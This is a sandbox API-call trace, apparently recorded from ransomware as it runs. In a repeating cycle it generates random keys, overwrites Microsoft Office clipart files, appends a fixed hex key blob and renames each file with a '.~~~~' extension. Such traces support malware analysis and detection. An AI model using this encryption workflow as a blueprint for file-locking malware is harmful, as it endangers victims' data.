	[0096.506] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.506] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.506] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.506] CloseHandle (hObject=0x134) returned 1
	[0096.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.507] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.~~~~")) returned 1
	[0096.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0096.508] GetLastError () returned 0x0
	[0096.508] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0096.509] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.509] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0096.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0096.509] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21649946542) returned 1
	[0096.509] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa33b6210, dwHighDateTime=0x1d60e1e)) 
	[0096.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0096.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0096.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0096.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840260
	[0096.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840260 | out: hHeap=0x300000) returned 1
	[0096.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842550
	[0096.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.510] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0096.510] GetLastError () returned 0x0
	[0096.510] GetLastError () returned 0x0
	[0096.511] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0096.511] GetLastError () returned 0x0
	[0096.511] GetLastError () returned 0x0
	[0096.518] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffd2f4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.518] WriteFile (in: hFile=0x134, lpBuffer=0x293b068*, nNumberOfBytesToWrite=0x2d0c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x293b068*, lpNumberOfBytesWritten=0x24dfec0*=0x2d0c, lpOverlapped=0x0) returned 1
	[0096.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293b068 | out: hHeap=0x300000) returned 1
	[0096.520] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.520] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.520] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.520] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.520] CloseHandle (hObject=0x134) returned 1
	[0096.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.520] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.~~~~")) returned 1
	[0096.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0096.521] GetLastError () returned 0x0
	[0096.522] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0096.523] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.523] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0096.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0096.523] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21651322957) returned 1
	[0096.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa33dc370, dwHighDateTime=0x1d60e1e)) 
	[0096.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0096.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0096.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0096.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840298
	[0096.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840298 | out: hHeap=0x300000) returned 1
	[0096.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28425e8
	[0096.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.524] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0096.524] GetLastError () returned 0x0
	[0096.524] GetLastError () returned 0x0
	[0096.524] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0096.524] GetLastError () returned 0x0
	[0096.524] GetLastError () returned 0x0
	[0096.565] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffd424, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.565] WriteFile (in: hFile=0x134, lpBuffer=0x293b068*, nNumberOfBytesToWrite=0x2bdc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x293b068*, lpNumberOfBytesWritten=0x24dfec0*=0x2bdc, lpOverlapped=0x0) returned 1
	[0096.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293b068 | out: hHeap=0x300000) returned 1
	[0096.566] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.566] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.566] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.566] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.566] CloseHandle (hObject=0x134) returned 1
	[0096.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.566] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.~~~~")) returned 1
	[0096.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0096.568] GetLastError () returned 0x0
	[0096.569] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0096.570] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.570] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0096.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0096.570] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21656008628) returned 1
	[0096.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa344e790, dwHighDateTime=0x1d60e1e)) 
	[0096.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0096.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0096.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0096.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840340
	[0096.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840340 | out: hHeap=0x300000) returned 1
	[0096.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842680
	[0096.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.571] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0096.571] GetLastError () returned 0x0
	[0096.571] GetLastError () returned 0x0
	[0096.571] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0096.571] GetLastError () returned 0x0
	[0096.571] GetLastError () returned 0x0
	[0096.640] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffe8ec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.640] WriteFile (in: hFile=0x134, lpBuffer=0x293b068*, nNumberOfBytesToWrite=0x1714, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x293b068*, lpNumberOfBytesWritten=0x24dfec0*=0x1714, lpOverlapped=0x0) returned 1
	[0096.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293b068 | out: hHeap=0x300000) returned 1
	[0096.641] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.641] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.641] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.641] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.641] CloseHandle (hObject=0x134) returned 1
	[0096.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.641] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.~~~~")) returned 1
	[0096.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0096.854] GetLastError () returned 0x0
	[0096.857] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0096.857] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0096.857] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0096.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0096.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0096.858] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21684772823) returned 1
	[0096.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa37221b0, dwHighDateTime=0x1d60e1e)) 
	[0096.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0096.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0096.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0096.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a98b8
	[0096.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a98b8 | out: hHeap=0x300000) returned 1
	[0096.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842848
	[0096.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.858] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0096.858] GetLastError () returned 0x0
	[0096.858] GetLastError () returned 0x0
	[0096.858] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0096.858] GetLastError () returned 0x0
	[0096.859] GetLastError () returned 0x0
	[0096.909] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe750, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.909] WriteFile (in: hFile=0x128, lpBuffer=0x293b068*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x293b068*, lpNumberOfBytesWritten=0x24dfec0*=0x18b0, lpOverlapped=0x0) returned 1
	[0096.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293b068 | out: hHeap=0x300000) returned 1
	[0096.909] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.909] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.909] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.910] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.910] CloseHandle (hObject=0x128) returned 1
	[0096.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.910] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.~~~~")) returned 1
	[0096.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0096.910] GetLastError () returned 0x0
	[0096.911] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0096.911] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0096.911] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0096.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0096.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0096.912] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21690171412) returned 1
	[0096.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa37945d0, dwHighDateTime=0x1d60e1e)) 
	[0096.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0096.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0096.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0096.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840618
	[0096.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840618 | out: hHeap=0x300000) returned 1
	[0096.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842da0
	[0096.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.912] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0096.912] GetLastError () returned 0x0
	[0096.912] GetLastError () returned 0x0
	[0096.912] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0096.912] GetLastError () returned 0x0
	[0096.913] GetLastError () returned 0x0
	[0097.045] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd6f4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.045] WriteFile (in: hFile=0x128, lpBuffer=0x293b068*, nNumberOfBytesToWrite=0x290c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x293b068*, lpNumberOfBytesWritten=0x24dfec0*=0x290c, lpOverlapped=0x0) returned 1
